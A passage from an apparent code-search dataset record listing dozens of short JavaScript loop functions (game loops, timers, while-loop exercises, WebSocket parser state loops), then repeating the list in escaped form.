this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this.loop = false;\n }\n }\n }","function controlLoop(){\r\n refreshData();\r\n setInterval(refreshData,10000);\r\n}","function stopLoop()\n{\n\twindow.clearInterval(loop);\t\n}","function stop(){\n noLoop();\n}","function intervalFunction(){\n\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\n\t//stopPressed and error are check flags for the stop button or internal errors\n\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n loop();\n\t\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n\t\t\tsetTimeout(intervalFunction,speed);\n\t\t\treturn;\n\t\t}\n\t}\n\tstop();\n}","function pauseLoopArticles() {\n if (onAutoLooping) {\n clearInterval(loop_interval);\n isLooping = false;\n }\n }","function loopData() {\n\n}","function loop() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n message: \"Would you like to add another employee?\",\n name: \"loop\",\n },\n ])\n .then((res) => {\n if (res.loop) {\n init();\n } else {\n printHTML();\n return;\n }\n });\n}","async function Stopper() {\r\n while (true){\r\n await sleep(1000);\r\n if(MS ===5 && S ===9) {\r\n M = increment(M, 1000);\r\n S = 0;\r\n MS = 0;\r\n } else if(S === 9){\r\n S = 0;\r\n MS = increment(MS,5);\r\n } else {\r\n S = increment(S,9);\r\n }\r\n $(\"#Time\").text(\"Time: \"+M+\":\"+MS+\"\"+S) ;\r\n }\r\n\r\n}","function SLOOP(state) {\n state.loop = state.stack.pop();\n\n if (exports.DEBUG) {\n console.log(state.step, 'SLOOP[]', state.loop);\n }\n }","function loop(){\n Jobs.getAndDraw();\n setTimeout(function(){loop()}, 30000)\n }","startLoop () {\n\t this._loop = true;\n\n\t while (this._loop) {\n\t switch (this._state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this._loop = false;\n\t }\n\t }\n\t }","function myLoop () { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log('hello'); // your code here\n i++; // increment the counter\n if (i < 10) { // if the counter < 10, call the loop function\n myLoop(); // .. again which will trigger another \n } // .. setTimeout()\n }, 1000)\n}","_stopLoop() { this._isRunning = false; }","function loop_over() {\n\t\n\t\tif(finished) { // konec\n\t\t\tcount_result();\n\t\t\treturn;\n\t\t}\n\t\t\t\n\t\t$('#arrow').css({\"display\":\"none\"});\n\t\tdir = range(37,40); // vygeneruj smer sipky\n\t\t\n\t\tif(dir == 38)\n\t\t\t$('#arrow').text(\"↑\");\n\t\telse if(dir == 37)\n\t\t\t$('#arrow').text(\"←\");\n\t\telse if(dir == 40)\n\t\t\t$('#arrow').text(\"↓\");\n\t\telse\n\t\t\t$('#arrow').text(\"→\");\n\n\t\tsetTimeout(function() {\n\t\t\t$('#arrow').css({\"display\":\"block\"});\n\t\t\tloop();\n\t\t},0);\n\t}","function printWithWhile(){\n\tvar printwhile = 2000;\n\n\twhile(printwhile <= 5280){\n\t\tconsole.log(printwhile);\n\t\tprintwhile++;\n\t}\n\n}","function TaskLoop() {\n\t\n}","function mainLoop()\n {\n\t\tmainLoopCounter++;\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\n that.stopFastForward();\n \n logger.log(\"Finished with a min cost of \"+ minCost);\n\n }\n else\n {\n logger.log(\"Not finished, starting search for augmentation cycle \");\n state.show_residual_graph = true;\n state.current_step = STEP_FINDSHORTESTPATH; \n\t\t\n }\n }","function mainLoop () {\n // Hard coded insturction count that each loop runs.\n let insCount = 5\n c8.DELAY = Math.max(0, c8.DELAY - 1)\n while (insCount > 0) {\n const { MEM, PC } = c8\n // Move instruction offset.\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\n try {\n // Perform operation according to instruction.\n ops[ins[0]](ins, c8, view)\n } catch (err) { warning(err, ins, c8) }\n insCount--\n }\n window.requestAnimationFrame(mainLoop)\n }","function mainLoop() {\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\n if (mouse.click && mouse.move && mouse.pos_prev) {\n // send line to to the server\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\n mouse.move = false;\n }\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\n erase = false;\n }\n //if not drawing, assign values to pos_prev to begin the drawing process\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\n setTimeout(mainLoop, 25); //recursive loop every 25ms\n }","loop() {\n\t\tif( game.paused ) {\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\n\t\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\n\t\t\tgame.update();\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\t}","loop() {\r\n\t\t\tthis.looping = true;\r\n\t\t\tthis.playing = true;\r\n\t\t}","function alive()\n{\n\tconsole.log(\"Loop\");\n\tswitch(state)\n\t{\n\t\tcase 0:\n\t\t\tconsole.log(\"Stopped\");\n\t\t\t//stop();\n\t\tbreak;\n\t\t\n\t\tcase 1:\n\t\t\tif (busy == 0)\n\t\t\t{\n\t\t\t\tconsole.log(\"Swimming\");\n\t\t\t\tswim();\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\tcase 2:\n\t\t\t//NOT Implemented\n\t\t\tfollow();\n\t\tbreak;\n\t\t\n\t\tcase 3:\n\t\t\t//NOT Implemented\n\t\t\tavoid();\n\t\tbreak;\n\t\t\n\t\tcase 4:\n\t\t\t//NOT Implemented\n\t\t\tfeed();\n\t\tbreak;\n\t\t\n\t\tcase 5:\n\t\t\t//DoNothingCozManual!!!!\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\tstate = 1;\n\t}\n}","function mainLoop() {\n\n\t\tvar timeChecker = setInterval(function() {\n\n\t\t\tstate.videoPlayer.update();\n\t\t\t// Forced update of time. Required for Safari.\n\t\t\ttime = state.videoPlayer.currentTime;\n\n\t\t\t// console.log('time:', time);\n\t\t\t_.each(popUpProblemTimer, function(obj) {\n\t\t\t\tif (time >= obj.start && time < obj.end) {\n\t\t\t\t\t// console.log(obj);\n\t\t\t\t\tvideoActions.actionFunction(time, obj);\n\t\t\t\t} else {\n\t\t\t\t\tvideoActions.actionFunction(time, null);\n\t\t\t\t}\n\t\t\t})\n\t\t}, 500);\n\n\t}","function loopArticles() {\n if (onAutoLooping) {\n loop_interval = setInterval(nextArticle, settings.interval);\n isLooping = true;\n }\n }","function startLoop() {\r\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\r\n x= description[currentTitle];\r\n // alert(x);\r\n if(myInterval > 0) clearInterval(myInterval); // stop\r\n myInterval = setInterval( \"changeContent()\", iFrequency ); // run\r\n }","function ciblerMonstre(){\n choisie=false;\n while (choisie=false){\n butGob.onclick= function(){\n cibleMonstre=\"Gobelin\";\n vieMonCible=vieGob;\n choisie=true;\n }\n butDef.onclick= function(){\n cibleMonstre=\"Dragon\";\n vieMonCible=vieDra;\n choisie=true;\n }\n butSpe.onclick= function(){\n cibleMonstre=\"Fantôme\";\n vieMonCible=vieFan;\n choisie=true;\n }\n }\n}","function myLoop() { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log(globulCounter); // your code here\n\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\n myLoop(); // .. again which will trigger another\n } // .. setTimeout()\n globulCounter++; // increment the counter\n }, 3000)\n}","function loopMain() {\n if(!lock && !animation1 && !animation2){\n lock = true;\n $.get(\"phps/refreshlugares.php\",function(responseText,status){\n try{\n if(status==\"success\"){\n res = JSON.parse(responseText);\n res.forEach(function (lugar) {\n switch (lugar.idLugares) {\n case \"1\":\n if(ocupado1!=parseInt(lugar.ocupado))\n ocupar1();\n break;\n case \"2\":\n if(ocupado2!=parseInt(lugar.ocupado))\n ocupar2();\n break;\n }\n });\n }else{\n alert(status);\n }\n }catch(e){\n alert(e);\n }\n lock = false;\n });\n }\n}","function veggieWhileLooper( veggies ) {\r\n\r\n var i = 0;\r\n\r\n while ( i < veggies.length ) {\r\n\r\n console.log( myVeggies[i] );\r\n i++;\r\n }\r\n}","function countdown(num){\r\n\r\n while(num > 1)\r\n{\r\n console.log(num);\r\n num = num - 4;\r\n}\r\n\r\n}","function Steady() {\n// var i;\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\n while (bank_score[0] < player_score[0]) {\n var para = document.getElementById('BC');\n var img = document.createElement('img');\n var path = randomOne(bank_score, bank_cards, \"texte1\");\n img.src = path;\n para.appendChild(img);\n }\n Score_Text_Display(bank_score,player_score);\n}","startLoop () {\n this._loop = true;\n\n do {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n } while (this._loop);\n }","agregarNuevo(){\n let esta = false;\n let cont = 0;\n \n while(!esta){\n cont++;\n const fil = Math.floor(Math.random() * this.size);\n const col = Math.floor(Math.random() * this.size);\n\n if(this.getCelda(fil,col)==null){\n esta = true;\n const val = Math.floor(Math.random() * 6)+1;\n if(val>=0 && val<5)\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\n else\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\n }\n\n //conta\n if(cont==1000) esta = true;\n\n }\n\n }","function meshLoop(self)\n{\n debug(\"MESHA\")\n meshReap(self);\n meshSeen(self);\n meshElect(self);\n meshPing(self);\n debug(\"MESHZ\")\n setTimeout(function(){meshLoop(self)}, 25*1000);\n}","startLoop () {\n this._loop = true;\n\n while (this._loop) {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n }\n }","function executeAll() {\r\n //wykonaj wszystkie kroki do konca\r\n while (!finished) processStep();\r\n prepareScreen5();\r\n}","function game_loop()\n{\n\t// If frog made it across safely\n\tif(frog.lane == 0 && is_safe_cross()) {\t\n\t\tcrossed_safely();\n\t}\n\t\n\t// If frog is dead\n\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\n\t\tlives--;\n\t\treset_frog();\n\t} \n\n\t// If player has zero frogs left (aka game over)\n\tif(lives == 0) {\n\t\tgame_over();\n\t}\n}","async function imagerollFunction() {\n while (counter < imageArray.length && roll) {\n image.src = imageArray[counter][0];\n image.alt = imageArray[counter][1];\n p.innerText = imageArray[counter][1];\n counter++;\n await sleep(4000);\n }\n}","function credits_loop() {\n \t\tdo_fade();\n \t\tdraw_backDrop();\n \t\tdraw_scroller();\t\t\t\t\t\t\t\n \t\tendScreenTimer--;\t\t\t\t\t\t\t\t// Countdown the timer.\n \t\tif (endScreenTimer==0) end();\t\t\t\t\t\t\t\t// If it gets to zero, end the credits!\n \t\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\t// ... otherwise if the demo is continuing, go to the next frame.\n \t}","function intGoNext(){\n goNext(0);\n }","async function mainLoop() {\n\n\tdrawBoard(currentlyDisplayedCards);\n\twhile (!gameEnded) {\n\t\tlet eventSet = await getEvent(pastEvents);\n\t\tawait handleEvent(eventSet); // handle the event that was just added\n\t}\n}"],"string":"[\n \"function loopInfinito() {\\n while (true) { }\\n}\",\n \"function loop() {\\r\\n}\",\n \"function loop() {\\r\\n // if (is_loop) {\\r\\n setTimeout(manage_loop, manager.interval);\\r\\n // is_loop = false;\\r\\n // }\\r\\n }\",\n \"function cambiarEstiloAuto() {\\n let contador = 0;\\n while(contador < 10){\\n cambiarEstilo();\\n contador++;\\n }\\n}\",\n \"loop() {}\",\n \"loop() {}\",\n \"function infinteLoop() {\\n while (true) {\\n }\\n}\",\n \"function executarLooping() {\\n moverFundo()\\n moverHelicopteroInimigo()\\n moverCaminhao()\\n moverJogador()\\n moverAliado()\\n detectarColisoes()\\n mostrarPlacar()\\n atualizarEnergia()\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n console.log('loop');\\n }\\n }\",\n \"function jogar(){\\r\\n //o jogo continuará até que alguém destrua completamente os navios do adversário\\r\\n //testa após cada jogada se o número de pontos foi atingido\\r\\n while (true){\\r\\n jogadorJoga();\\r\\n console.log(\\\"O computador tem \\\"+naviosComputador);\\r\\n if (pontosJogador == naviosComputador){\\r\\n console.log(nome+\\\" ganhou! Parabéns!\\\");\\r\\n break;\\r\\n }\\r\\n else {\\r\\n computadorJoga();\\r\\n if (pontosComputador == naviosJogador){\\r\\n console.log(\\\"Computador ganhou! Tente novamente, \\\"+nome);\\r\\n break;\\r\\n }\\r\\n };\\r\\n }\\r\\n}\",\n \"function loop() {\\n moveFundo();\\n moveJogador();\\n moveInimigo1();\\n moveInimigo2();\\n moveInimigo3();\\n moveInimigo4();\\n moveEstrela();\\n colisao();\\n placar();\\n energia();\\n }\",\n \"noLoop() {\\r\\n\\t\\t\\tthis.looping = false;\\r\\n\\t\\t}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function cambio(){\\n\\n\\t// for(var i=0; i<10; i++){\\n\\t// \\tconsole.debug('hola '+i);\\n\\t// }\\n\\tvar i=0;\\n\\twhile(i<10){\\n\\t\\tconsole.debug('hola '+i);\\n\\t\\ti++;\\n\\t}\\n}\",\n \"function contadorWhile1() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Enquanto o valor (contador) for menor que 5\\n while (contador <= 5) {\\n\\n // Mostra o valor na tela\\n document.querySelector('#contadorW1').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n // contador = contador + 1;\\n // contador += 1;\\n }\\n}\",\n \"function whileLoop(n){\\nwhile ( 0 < n ){\\n console.log(--n);\\n}\\nif (n <= 1 ){\\nreturn 'done';\\n }\\n}\",\n \"function cicloWhile() {\\n\\n while (confirm(\\\"Desea Continuar?\\\")) {\\n alert(\\\"THis is a cycle while\\\")\\n }\\n}\",\n \"function startLoop() {\\n\\tisrunnning = true;\\n}\",\n \"function doWhileLoop(x)\\n{\\n x--;\\n do \\n {\\n console.log(\\\"I run once regardless\\\");\\n } while(x-- > 0);\\n}\",\n \"function infiniteLoop() {\\r\\n while (true) {\\r\\n }\\r\\n}\",\n \"function main(){\\r\\n\\tcur_t = 0\\r\\n\\tkill_step = poisson(kill_step);\\r\\n\\tcount_step = 0;\\r\\n\\t//do {\\r\\n\\tvar times = setInterval(function(){\\r\\n\\t\\tif (cur_t == steps) clearInterval(times);\\r\\n\\r\\n\\t\\tvar temp = couple_logistic_possison(pop, params, steps);\\r\\n\\t\\tif (count_step == kill_step){\\r\\n\\t\\t\\tcata(kill_percentage, pop);\\r\\n\\t\\t\\tkill_step = poisson(kill_step);\\r\\n\\t\\t\\tcount_step = 0;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tshow_graphics(temp);\\r\\n\\r\\n\\t\\tcur_t += 1;\\r\\n\\t\\tcount_step += 1;\\r\\n\\t\\treturn temp;\\r\\n\\t\\t}, 35);\\r\\n\\t//} while (cur_t < steps)\\t\\r\\n}\",\n \"function mainLoop( ) {\\n\\n\\n let segundos = 5;\\n let tiempo = segundos * 1000;\\n\\n\\n console.log('Intervalo de '+ segundos );\\n console.log('Perioodo: ');\\n\\n\\n REALTIME.actualizarREALTIME( );\\n\\n setInterval((tiempo) => {\\n console.log('-------------------------------------------------------');\\n console.log('Intervalo de REALTIME '+ segundos );\\n console.log('PERIODO');\\n REALTIME.actualizarREALTIME( );\\n }, tiempo )\\n\\n}\",\n \"function loopForever() {\\n while (true) { }\\n}\",\n \"function checkLoop() {\\n if (config.loopState) {\\n loop();\\n } else {\\n noLoop();\\n }\\n }\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function contadorWhile2() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Guarda o número informado na tela\\n const numeroInformado = document.querySelector('#numInformadoW2').value;\\n\\n // Enquanto o contador for menor que o número informado na tela\\n while (contador <= numeroInformado) {\\n // Mostra o valor na tela\\n document.querySelector('#contadorW2').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n }\\n}\",\n \"function loopDetect() {\\n \\n}\",\n \"loop() {\\n let stop = false;\\n while (!stop) {\\n //Creates a thread for every single agent\\n Object.values(this.agents).forEach(agent => {\\n if (!this.problem.goalTest(this.data)) {\\n // aqui el agente recibe las persepciones\\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\\n //guarda el accion\\n let action = agent.send();\\n this.actions.push({ agentID: agent.getID(), action });\\n //actuliza el problema\\n this.problem.update(this.data, action, agent.getID());\\n //mira si termino el problema\\n if (this.problem.goalTest(this.data)) {\\n stop = true;\\n } else {\\n if (this.callbacks.onTurn)\\n //es un callback que muestra la posicion en la que esta callbacks\\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\\n }\\n }\\n });\\n }\\n this.finishAll();\\n }\",\n \"function hello(){\\n\\nlet angka = 1;\\nwhile(angka <= 5){\\nconsole.log(\\\"hai\\\" + \\\" \\\" + angka + \\\"x\\\");\\nangka++;\\n }\\n}\",\n \"function generalLoop(){\\r\\n\\r\\n\\tif ((new Date()).getTime() - timeObj < 3 ) {\\t\\t\\r\\n\\t\\treturn;\\t\\t\\r\\n\\t}//fi\\r\\n\\tif (currentState == 3) {\\r\\n\\t\\tupdateDisplay();\\r\\n\\t\\ttimeObj = (new Date()).getTime();\\r\\n\\t}//fi\\r\\n\\r\\n\\t\\r\\n\\r\\n}//end listener\\t\",\n \"function intWhile (){\\n var i = 2000;\\n while (i <= 5280){\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function PrintI(){\\n var num = 2000;\\n while(num < 5281){\\n console.log(num);\\n num++;\\n }\\n}\",\n \"function loops6 () {\\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\\n var i = 1;\\n do {\\n console.log(i);\\n i++;\\n } while (i < 1001);\\n}\",\n \"function testWhileLoop() {\\n var counter = 0;\\n while (counter <= 10) {\\n console.log(counter);\\n counter++;\\n }\\n}\",\n \"function devilLoop(){\\n GMvariables.devil = setInterval(() => {\\n changePositionOfElement()\\n if(GMvariables.live<1){\\n deviElementHide();\\n clearInterval(GMvariables.devil);\\n }\\n }, GMvariables.interval);\\n // console.log(\\\"from loop = \\\" + interval);\\n}\",\n \"function get_data_loop()\\r\\n{\\r\\n if(!ansvers){\\r\\n \\tget_data();\\r\\n \\tansvers = 1;\\r\\n }\\r\\n \\tsetTimeout(\\\"get_data_loop()\\\",10000);\\r\\n}\",\n \"function infiniteLoop() {\\n while (true) { }\\n}\",\n \"function whileLoop(x)\\n{\\n while (x>0)\\n {\\n console.log(x--);\\n }\\n \\n return \\\"done\\\";\\n}\",\n \"function a2() {\\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\\n console.log(i); // Konsolenausgabe der lokalen Variable i.\\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\\n } while (i > 0); // Schleifenbedingung: \\\"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\\\"\\n}\",\n \"function loop() {\\n if (!avatar.dead) {\\n //obtener propiedades de elementos\\n bcr.getBCR(playground, adventurer, ip, life);\\n //aumentar distancia e imprimirla\\n distCounter++;\\n printDist(distCounter, previousDistance, dist);\\n //salto personaje\\n avatar.jumping(joystick, adventurer);\\n //controlar que no pase del piso\\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\\n adventurer.style.top = avatar.y + \\\"px\\\";\\n //chequear colisiones\\n\\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\\n if (avatar.life > 0) {\\n avatar.hurt(life);\\n //console.log(avatar.life);\\n myID = requestAnimationFrame(loop);\\n } else {\\n avatar.death(adventurer);\\n ip.style.animationIterationCount = \\\"1\\\";\\n if (distCounter > previousDistance) {\\n previousDistance = distCounter;\\n }\\n front.style.background=\\\"url('../img/end.png')\\\";\\n inicio.style.display = \\\"inline\\\";\\n setTimeout(() => {\\n front.style.display=\\\"inline\\\";\\n }, 2000);\\n cancelAnimationFrame(myID);\\n }\\n } else {\\n if (bcr.impBCR.left < 145) {\\n speed *= 0.99;\\n ip.style.animation = \\\"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\\\";\\n }\\n myID = requestAnimationFrame(loop);\\n }\\n }\\n }\",\n \"function loops4 () {\\n console.log('#5 Logging 1 to 1000 with a while loop: ');\\n var i = 1;\\n while (i < 1001) {\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function loop() {\\n if( DateForCycle.getTime() < beginTime ) {\\n\\n \\n bigDay ^= true;\\n setDate(DateForCycle, function(){\\n commit(function() {\\n if(bigDay) {\\n commit(setNextDay);\\n } else {\\n setNextDay();\\n\\n }\\n })\\n });\\n } else {\\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\\n });\\n\\n }\\n }\",\n \"function whileDemo([n]) {\\r\\n let health = 100;\\r\\n while (health > 0) { // its not depend on counter\\r\\n \\r\\n // walk\\r\\n // take damage\\r\\n // headshot\\r\\n }\\r\\n}\",\n \"_setupLoop () {\\n this._time = 0\\n this._loop()\\n }\",\n \"function startLoop() {\\n\\tconsole.log(maxi);\\n\\tconsole.log(index);\\n if(index==maxi){\\n return;\\n }\\n else{\\n //setInterval(5000);\\n setInterval( doSomething(), iFrequency ); // run\\n startLoop();\\n\\t}\\n\\n }\",\n \"function loop (n) {\\n while (n > 0) {\\n console.log(n)\\n n--\\n }\\n}\",\n \"startLoop () {\\n\\t this.loop = true;\\n\\n\\t while (this.loop) {\\n\\t switch (this.state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this.loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function loop ( start, test, updt, body ) {\\r\\n let val = start;\\r\\n while (test(val)) {\\r\\n body (val)\\r\\n val = updt (val)\\r\\n } \\r\\n}\",\n \"function stopLoop() {\\n\\tisrunnning = false;\\n\\tconsole.log('stop loop');\\n}\",\n \"function bannerLoop()\\n\\t{\\n\\t\\tsetTimeout(showBanner, interval * 1000);\\n\\t}\",\n \"function Inicio() {\\n var bandera = true;\\n\\n while (bandera == true) {\\n var respuesta = 0;\\n\\n //Mensajes de alerta para ingresar datos\\n var nombre = prompt(\\\"Ingrese su nombre, por favor\\\");\\n var edad = IngresoEdad(\\\"usted\\\");\\n\\n if (edad >= 18) {\\n var casado = IngresoEstadoCivil();\\n var edad_conyuge = 0;\\n var numeroHijos = 0;\\n valorPropiedad = 0;\\n\\n if (\\\"SI\\\" == casado.toUpperCase()) {\\n edad_conyuge = IngresoEdad(\\\"su conyuge\\\");\\n }\\n\\n if (TieneHijos()) {\\n numeroHijos = CantidadHijos();\\n }\\n\\n var salario = ValorSalario();\\n var propiedad = IngresoPropiedad();\\n\\n debugger;\\n\\n if (\\\"SI\\\" == propiedad.toUpperCase()) {\\n var valorPropiedad = ValorPropiedad();\\n }\\n } else {\\n alert(\\\"La persona a asegurar tiene que ser mayor de edad\\\");\\n }\\n\\n datos.push(\\n new Registro(\\n nombre,\\n edad,\\n casado,\\n edad_conyuge,\\n numeroHijos,\\n salario,\\n valorPropiedad\\n )\\n );\\n\\n bandera = Continuar();\\n }\\n\\n for (let entry of datos) {\\n var recargo_total = CalculoRecargo(entry);\\n var total = precio_base + recargo_total;\\n alert(\\\"Para el asegurado \\\" + entry.nombre);\\n alert(\\\"El recargo total sera de: \\\" + recargo_total);\\n alert(\\\"El valor de la cotización sera de: \\\" + total);\\n }\\n\\n}\",\n \"onClickRun() {\\n\\t\\tlet tmp = true;\\n\\t\\twhile (tmp == true) {\\n\\t\\t\\ttmp = this.cycle();\\n\\t\\t}\\n\\t}\",\n \"function imprimir() {\\n for (var i = 0; i<8000; i++){\\n console.log(\\\"Imprimio\\\");\\n }\\n}\",\n \"function doWhileLoop(array) {\\n \\tvar i = 0; // sets variable i equal to zero as a start ?\\n\\n// function that adds '1' to the 'i' variable each time it's ran\\nfunction incrementVariable() {\\n \\t\\ti = i + 1;\\n \\t}\\n\\n\\tdo { // will run following body AT LEAST once.\\n\\n\\t\\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\\n // console.log(\\\"DID THIS WORK?!\\\"); // update: I actually don't even need the console.log part\\n\\t\\tarray = array.slice(1); // removes the first element in an array\\n\\t\\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\\n\\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\\n\\n\\treturn array;\\n}\",\n \"function start() {\\n isGameActive = true;\\n\\n var l = 0;\\n do {\\n setTimeout(function () {\\n calculateNextGeneration();\\n }, 1000 * l);\\n l++;\\n console.log(l);\\n }\\n while (l < 1000);\\n\\n}\",\n \"startLoop () {\\n this.loop = true;\\n\\n while (this.loop) {\\n switch (this.state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this.loop = false;\\n }\\n }\\n }\",\n \"function controlLoop(){\\r\\n refreshData();\\r\\n setInterval(refreshData,10000);\\r\\n}\",\n \"function stopLoop()\\n{\\n\\twindow.clearInterval(loop);\\t\\n}\",\n \"function stop(){\\n noLoop();\\n}\",\n \"function intervalFunction(){\\n\\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\\n\\t//stopPressed and error are check flags for the stop button or internal errors\\n\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n loop();\\n\\t\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n\\t\\t\\tsetTimeout(intervalFunction,speed);\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\\n\\tstop();\\n}\",\n \"function pauseLoopArticles() {\\n if (onAutoLooping) {\\n clearInterval(loop_interval);\\n isLooping = false;\\n }\\n }\",\n \"function loopData() {\\n\\n}\",\n \"function loop() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to add another employee?\\\",\\n name: \\\"loop\\\",\\n },\\n ])\\n .then((res) => {\\n if (res.loop) {\\n init();\\n } else {\\n printHTML();\\n return;\\n }\\n });\\n}\",\n \"async function Stopper() {\\r\\n while (true){\\r\\n await sleep(1000);\\r\\n if(MS ===5 && S ===9) {\\r\\n M = increment(M, 1000);\\r\\n S = 0;\\r\\n MS = 0;\\r\\n } else if(S === 9){\\r\\n S = 0;\\r\\n MS = increment(MS,5);\\r\\n } else {\\r\\n S = increment(S,9);\\r\\n }\\r\\n $(\\\"#Time\\\").text(\\\"Time: \\\"+M+\\\":\\\"+MS+\\\"\\\"+S) ;\\r\\n }\\r\\n\\r\\n}\",\n \"function SLOOP(state) {\\n state.loop = state.stack.pop();\\n\\n if (exports.DEBUG) {\\n console.log(state.step, 'SLOOP[]', state.loop);\\n }\\n }\",\n \"function loop(){\\n Jobs.getAndDraw();\\n setTimeout(function(){loop()}, 30000)\\n }\",\n \"startLoop () {\\n\\t this._loop = true;\\n\\n\\t while (this._loop) {\\n\\t switch (this._state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t 